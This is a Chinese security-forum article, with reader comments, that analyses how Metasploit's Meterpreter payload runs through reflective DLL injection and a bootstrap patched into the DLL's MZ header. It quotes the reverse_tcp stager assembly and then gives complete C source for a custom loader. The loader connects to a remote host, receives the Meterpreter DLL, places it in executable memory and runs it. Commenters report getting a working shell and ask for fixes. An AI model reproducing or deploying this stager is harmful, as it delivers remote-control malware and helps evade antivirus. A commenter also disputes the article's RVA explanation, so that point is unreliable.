Meterpreter载荷执行原理分析

mosin / 2017-12-04 12:39:00 / 浏览数 6560

0x00 前言

meterpreter是metsploit下的一个工具，是metsploit后渗透必不可少的，它具有强大的功能，包括socks代理，端口转发，键盘监听等多个功能，meterpreter可以说是内网

由于meterpreter_loader的加载有些问题，想自己改一下这个loader，并且自己也在写相关的工具，所以就对meterpreter进行了研究，一窥meterpreter的究竟。

0x01 meterpreter分析

meterpreter使用了大量的反射dll注入技术，meterpreter使用的反射dll不会在磁盘上留下任何文件，直接是载入内存的，所以有很好的躲避杀软的效果，但是meterpreter

在metasploit里面,payloads简单可以分为三类:single,stager,stage.作用分别是single,实现单一,完整功能的payload,比如说bind_tcp这样的功能;stager和stage就像web入侵
DLL
Injection就是作为一个stage存在。也即是说,你已经有了和target之间的连接会话,你可以传送数据到target上，之后meterpreter与target之间的交互就都是和发送过去的反

当你已经获得了target上的shellcode执行权限,你的shellcode能够接收数据,写入内存并移交控制权(EIP)。

下面看一下metasploit的meterpreter的payload。

```
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'

module MetasploitModule

 include Msf::Payload::Windows::MeterpreterLoader
 include Msf::Sessions::MeterpreterOptions

 def initialize(info = {})
   super(update_info(info,
     'Name'          => 'Windows Meterpreter (Reflective Injection)',
     'Description'   => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
     'Author'        => ['skape', 'sf', 'OJ Reeves'],
     'PayloadCompat' => { 'Convention' => 'sockedi handleedi http https'},
     'License'       => MSF_LICENSE,
     'Session'       => Msf::Sessions::Meterpreter_x86_Win
   ))
 end
end
```

这里他调用了meterpreter_loader.rb文件，在meterpreter_loader.rb文件中又引入了reflective_dll_loader.rb文件，reflective_dll_loader.rb主要是获取ReflectiveLoader(

我们定位/lib/msf/core/payload/windows/reflectivedllinject.rb
文件,这种修复方式在metsploit的高版本已被更新，新增的只是实现的技术上的简化，我们暂不关注。

```
require 'msf/core'
require 'msf/core/reflective_dll_loader'
module Msf
module Payload::Windows::ReflectiveDllInject
 include Msf::ReflectiveDLLLoader
 include Msf::Payload::Windows
 def initialize(info = {})
   super(update_info(info,
     'Name'          => 'Reflective DLL Injection',
     'Description'   => 'Inject a DLL via a reflective loader',
     'Author'        => [ 'sf' ],
     'References'    => [
       [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
       [ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
     ],
     'Platform'      => 'win',
     'Arch'          => ARCH_X86,
     'PayloadCompat' => { 'Convention' => 'sockedi -https', },
     'Stage'         => { 'Payload'   => "" }
     ))
```

```
    register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
  end
  def library_path
    datastore['DLL']
  end
  def asm_invoke_dll(opts={})
    asm = %Q^
        ; prologue
          dec ebp               ; 'M'
          pop edx               ; 'Z'
          call $+5              ; call next instruction
          pop ebx               ; get the current location (+7 bytes)
          push edx              ; restore edx
          inc ebp               ; restore ebp
          push ebp              ; save ebp for later
          mov ebp, esp          ; set up a new stack frame
        ; Invoke ReflectiveLoader()
          ; add the offset to ReflectiveLoader() (0x????????)
          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
          call ebx              ; invoke ReflectiveLoader()
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
          push edi              ; push the socket handle
          push 4                ; indicate that we have attached
          push eax              ; push some arbitrary value for hInstance
          mov ebx, eax          ; save DllMain for another call
          call ebx              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
          ; push the exitfunk value onto the stack
          push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
          push 5                ; indicate that we have detached
          push eax              ; push some arbitrary value for hInstance
          call ebx              ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
    ^
  end
  def stage_payload(opts = {})
    # Exceptions will be thrown by the mixin if there are issues.
    dll, offset = load_rdi_dll(library_path)
    asm_opts = {
      rdi_offset: offset,
      exitfunk:   'thread'  # default to 'thread' for migration
    }
    asm = asm_invoke_dll(asm_opts)
    # generate the bootstrap asm
    bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
    # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
    if bootstrap.length > 62
      raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!"
    end
    # patch the bootstrap code into the dll's DOS header...
    dll[ 0, bootstrap.length ] = bootstrap
    dll
  end
end
end
```

这里主要关注的有2个参数

offset：ReflectiveLoader()的偏移地址

exitfunk：dll的退出函数地址

这2个参数是dll执行的关键，下面我们来分析下DOS头patch的代码。DOS头是可以被修改的，它只不过是微软为了兼容16位汇编而存在的产物，几乎没有什么用。

```
dec ebp               ; 'M'
pop edx               ; 'Z'
call $+5              ; call next instruction
pop ebx               ; get the current location (+7 bytes)
push edx              ; restore edx
inc ebp               ; restore ebp
push ebp              ; save ebp for later
```

```
mov ebp, esp          ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx              ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
push edi              ; push the socket handle
push 4                ; indicate that we have attached
push eax              ; push some arbitrary value for hInstance
mov ebx, eax          ; save DllMain for another call
call ebx              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5                ; indicate that we have detached
push eax              ; push some arbitrary value for hInstance
call ebx              ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
```

meterpreter使用的dll是metsrv.dll（metsrv.dll分为x86和x64），程序在metsrv.dll里面写入Bootstrap,同时定位ReflectiveLoader()的地址,硬编码写入Bootstrap里面,同时

这里有一个问题，如果将Bootstrap直接写入dll的头部是会破坏dll这个文件的结构（也就是PE结构），使之无法成为正常的PE文件，所以这里就用了一个技巧，
MZ标志可以拿来做指令，dec ebp和pop
edx,这两条指令的16进制刚好是MZ的ascii码,所以之后再加上其他相关代码，就可以不破坏DOS头的情况下对DOS头进行修改。

"/x4D" # dec ebp ; M

"/x5A" # pop edx ; Z

像call和jmp+立即数的指令,立即数的计算都是(目标地址 - (当前地址 + 5)),

call $+5 ; call next instruction

在Bootstrap中完成代码重定向工作.看下Bootstrap的生成代码

add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}

其中的rdi_offset是Metsrv.dll编译好之后,ReflectiveLoader()函数在文件中的RVA相对虚拟地址,相对虚拟地址需要加上基址才是真实地址,这条指令里文件头部的偏移是7,只要

push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}

这个地方就是退出函数地址了exitfunk，DLL的退出主要分3种['THREAD'，'PROCESS'，'SEH'，['SLEEP']]，

push, edi

edi是socket的值用来接收meterpreter过来的套接字用的,也就是用于保存套接字的。

stager loader执行流程

1.loader转移EIP到dll的文件头

2.dll进行重定位

3.计算ReflectiveLoader()地址

4.调用ReflectiveLoader()

5.得到DllMain()地址(前面调用的返回值)

6.调用DllMain(),循环直到attacker退出

7.第二次调用DllMain(),此时按退出函数安全退出.

ReflectiveLoader()的具体实现过程:

1.首先需要获取三个关键函数的地址.

2.分配一块内存,把dll复制过去,不是一下子全部复制,而是分开头部和各个区块.

3.处理IAT,再处理重定向表.

4.使用DLL_PROCESS_ATTACH调用一次DllMain().

5.返回DllMain()的地址供Bootstrap调用.

好了，大概DOS头和DLL的处理就是这样，下面来看看metrepreter具体的交互过程。

0x02 Loader的执行分析

首先，我们监听meterpreter，在本地对meterpreter进行连接，当连接上后，meterpreter会发送修复后的dll过来，我们把它给存储起来。

我们打开保存的meterpreter发送过来的dll文件。

我们看到这个不是正常的PE文件，前面多了一个4字节的内容2E840D00，这4字节的内容其实就是缓冲区的大小，用于运行dll的大小空间，可以自行修改。随后就是熟悉的

可以看到发送过来的DLL文件的DOS头的前37字节被修改了，前文已经说了，DOS头是可以被修改的，DOS头的大小为60字节，熟悉PE结构的朋友应该知道，随后就是PE头

我们可以看下文件代码，事实meterpreter动的手脚就是这个。

```
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
  raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!
end
```

我们抓包可以看到，meterpreter与本机建立连接后，分了两次发送DLL文件（其实是多次，只是第一次发送的并不是DLL文件而已），第一次发送了4字节缓冲区大小，也就

第二次就是发送重定位后的dll文件了，一次肯定是发送不完了，所以分了多次发送。

根据上面分析得到的信息，我们可以断定loader的执行流程为

1.首先接收4字节缓冲区大小

2.开辟内存

3.把我们的socket里的值复制到缓冲区中去

4.读取字节到缓冲区

5.执行DLLMain

6.退出

0x03 loader构造

以上分析证明流程确实这样的，可能与原来程序会有出入。

我们来看看原来程序源码

文件lib\msf\core\payload\windows\reverse_tcp.rb

```
.........■■■■■■
reverse_tcp:
       push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
       push 'ws2_'             ; ...
       push esp                ; Push a pointer to the "ws2_32" string on the stack.
       push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
       call ebp                ; LoadLibraryA( "ws2_32" )
       mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
       sub esp, eax            ; alloc some space for the WSAData structure
       push esp                ; push a pointer to this stuct
       push eax                ; push the wVersionRequested parameter
       push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
       call ebp                ; WSAStartup( 0x0190, &WSAData );
set_address:
       push #{retry_count}     ; retry counter
create_socket:
       push #{encoded_host}    ; host in little-endian format
       push #{encoded_port}    ; family AF_INET and port number
       mov esi, esp            ; save pointer to sockaddr struct
       push eax                ; if we succeed, eax will be zero, push zero for the flags param.
       push eax                ; push null for reserved parameter
       push eax                ; we do not specify a WSAPROTOCOL_INFO structure
       push eax                ; we do not specify a protocol
       inc eax                 ;
       push eax                ; push SOCK_STREAM
       inc eax                 ;
       push eax                ; push AF_INET
```

```
	push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
	call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
	xchg edi, eax           ; save the socket for later, don't care about the value of eax after this
try_connect:
	push 16                 ; length of the sockaddr struct
	push esi                ; pointer to the sockaddr struct
	push edi                ; the socket
	push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
	call ebp                ; connect( s, &sockaddr, 16 );
	test eax,eax            ; non-zero means a failure
	jz connected
handle_connect_failure:
	; decrement our attempt count and try again
	dec dword [esi+8]
	jnz try_connect
.........■■■■■■
recv:
	; Receive the size of the incoming second stage...
	push 0                  ; flags
	push 4                  ; length = sizeof( DWORD );
	push esi                ; the 4 byte buffer on the stack to hold the second stage length
	push edi                ; the saved socket
	push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
	call ebp                ; recv( s, &dwLength, 4, 0 );
.........■■■■■■
	; Alloc a RWX buffer for the second stage
	mov esi, [esi]          ; dereference the pointer to the second stage length
	push 0x40               ; PAGE_EXECUTE_READWRITE
	push 0x1000             ; MEM_COMMIT
	push esi                ; push the newly recieved second stage length.
	push 0                  ; NULL as we dont care where the allocation is.
	push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
	call ebp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
	; Receive the second stage and execute it...
	xchg ebx, eax           ; ebx = our new memory address for the new stage
	push ebx                ; push the address of the new stage so we can return into it
read_more:
	push 0                  ; flags
	push esi                ; length
	push ebx                ; the current address into our second stage's RWX buffer
	push edi                ; the saved socket
	push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
	call ebp                ; recv( s, buffer, length, 0 );
.........■■■■■■
read_successful:
	add ebx, eax            ; buffer += bytes_received
	sub esi, eax            ; length -= bytes_received, will set flags
	jnz read_more           ; continue if we have more to read
	ret                     ; return into the second stage
```

所以，用利用得到的信息，我们来构建loader

模拟loader载荷程序reverse_tcp

```
/*
*■■■INIT socket
*/
void winsock_init() {
   WSADATA wsaData;
   if (WSAStartup(MAKEWORD(2, 2), &wsaData) < 0) {
       printf("ws2_32.dll is out of date.\n");
       WSACleanup();
       exit(1);
   }
}
```

建立一个SOCK报错函数，如果报错，我们就关闭连接

```
void punt(SOCKET my_socket, char * error) {
   printf("Sorry : %s\n", error);
```

```
   closesocket(my_socket);
   WSACleanup();
   exit(1);
}
```

建立一个连接函数my_connect()

```
/* ■■■■■■■■■■■■*/
SOCKET my_connect(char * targetip, int port) {
   struct hostent *    target;
   struct sockaddr_in  sock;
   SOCKET          my_socket;

   /* ■■■■■■■■■ */
   my_socket = socket(AF_INET, SOCK_STREAM, 0);
   if (my_socket == INVALID_SOCKET)
       punt(my_socket, "[-] Could not initialize socket");

   /* ■■■■■■■■■■■■ */
   target = gethostbyname(targetip);
   if (target == NULL)
       punt(my_socket, "[-] Could not get target");

   /* ■■sock■■■■■■■■IP■PORT*/
   memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
   sock.sin_family = AF_INET;
   sock.sin_port = htons(port);

   /* ■■■■■ */
   if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
       punt(my_socket, "[-] Could not connect to target");

   return my_socket;
}
```

因为，第一次不是获取DLL文件的，而是获取4字节缓冲区内存大小的，所以接收数据要分几次，一次是接收不完数据的，最好是创建一个专门的函数来接收。

```
/* ■■■■■■■■■■■■■■■■■ */
int recv_all(SOCKET my_socket, void * buffer, int len) {
   int    tret   = 0;
   int    nret   = 0;
   void * startb = buffer;
   while (tret < len) {
       nret = recv(my_socket, (char *)startb, len - tret, 0);
       startb += nret;
       tret   += nret;

       if (nret == SOCKET_ERROR)
           punt(my_socket, "Could not receive data");
   }
   return tret;
}
```

下面就是主函数了

```
//■■■
int main(int argc, char * argv[]) {
   ULONG32 size;
   char * buffer;
   //■■■■■■■■■■XXOO
   void (*function)();
   winsock_init(); //■■■■■■■
   //■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■IP■■■
   //■■■■■■■■■■
   if (argc != 3) {
       printf("%s [host] [port] ^__^ \n", argv[0]);
       exit(1);
   }

   /*■■■■■■■■■■■■■■■■ */
```

```
    SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));

    /* ■■4■■■■
    *■■■meterpreter■■■■■■■■
    *4■■■■■■■■2E840D00■■■■■■■■■■,■■■■■■■■■■■■■■■■■■■
    */
    //■■■■
    //■■■■■■■■■■■4■■■■■■■■■■
    int count = recv(my_socket, (char *)&size, 4, 0);
    if (count != 4 || size <= 0)
        punt(my_socket, "read length value Error\n");

    /* ■■■■■■■■ RWX buffer */
    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buffer == NULL)
        punt(my_socket, "could not alloc buffer\n");

    /*
    *SOCKET■■■EDI■■■■■■■■buffer[]■
    */
    //mov edi
    buffer[0] = 0xBF;

    /* ■■■■socket■■■■■■■■■■■■*/
    memcpy(buffer + 1, &my_socket, 4);

    /* ■■■■■■■■■
    *■■■■■■■■DLL■■■■■■■■■■
    */
    count = recv_all(my_socket, buffer + 5, size);

    /* ■■■■■■■■■■■■■■■
    * ■■■■■■■■shellcode■■■■■
    * ■■■■■■■■■DLL■■■■■■■■■■■■■■■■DLL■
    * ■■■■■■■■■■■■■■■■■DLL■■■■■DLL■DLLMain■■■■■■■■■■■■■■■■■■■■■
    * (void (*)())buffer■■■■■■■■■■■shellcode■
    */
    function = (void (*)())buffer;
    function();
    return 0;
}
```

执行效果图

0x04 结语

在对meterpreter的分析中，发现了很多特别的利用方式和shellcode编写方法。了解了执行原理，以至于我们可以自己来构造接收meterpreter的攻击载荷，修改其执行代码

参考链接：

https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html

http://blog.csdn.net/gaara_fan/article/details/6528359

http://www.docin.com/p-800847451.html

上一篇：2017湖湘杯pwn300的wp 下一篇：【PHP代码审计】入门之路——第一篇

1. 9 条回复


别说话有警察 2017-12-05 14:07:45

编译出问题了.....麻烦老哥帮看一下

0 回复Ta


mosin 2017-12-05 17:32:00

@别说话有警察 ^_^

可能你的编译器不支持，你把类型做一个中间转换，看下面这段代码

```
int recv_all(SOCKET my_socket, void * buffer, int len) {
   int    tret = 0;
   int    nret = 0;
   void * startb = buffer;
   char *tb = (char *)startb;
   while (tret < len) {
       nret = recv(my_socket, tb, len - tret, 0);
       tb += nret;
       tret += nret;

       if (nret == SOCKET_ERROR)
           punt(my_socket, "Could not receive data");
   }
   return tret;
}
```

0 回复Ta


gdpoo 2017-12-05 22:38:49

再加上ssl，简直完美

0 回复Ta


别说话有警察 2017-12-06 12:03:56

@mosin 已经解决，已经弹回来了

0 回复Ta


mahuateng**** 2018-01-22 11:23:01

佩服佩服

0 回复Ta


飞翔的菜鸟 2018-02-06 16:23:37

编译时 一堆报错@mosin 大佬你用什么编译器

0 回复Ta


mosin 2018-02-08 11:42:56

@飞翔的菜鸟 VS2013

0 回复Ta


0x516A 2018-09-12 15:42:35

大佬请教下 迁移的原理

0 回复Ta


74728****@qq.com 2019-10-25 11:31:11

这里rdi_offset其实就是文件的offset，根本不是作者所谓的RVA，你想想就知道，这时候pe文件根本就不是通过peloader映射到内存的，怎么可能通过RVA找到reflecti

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板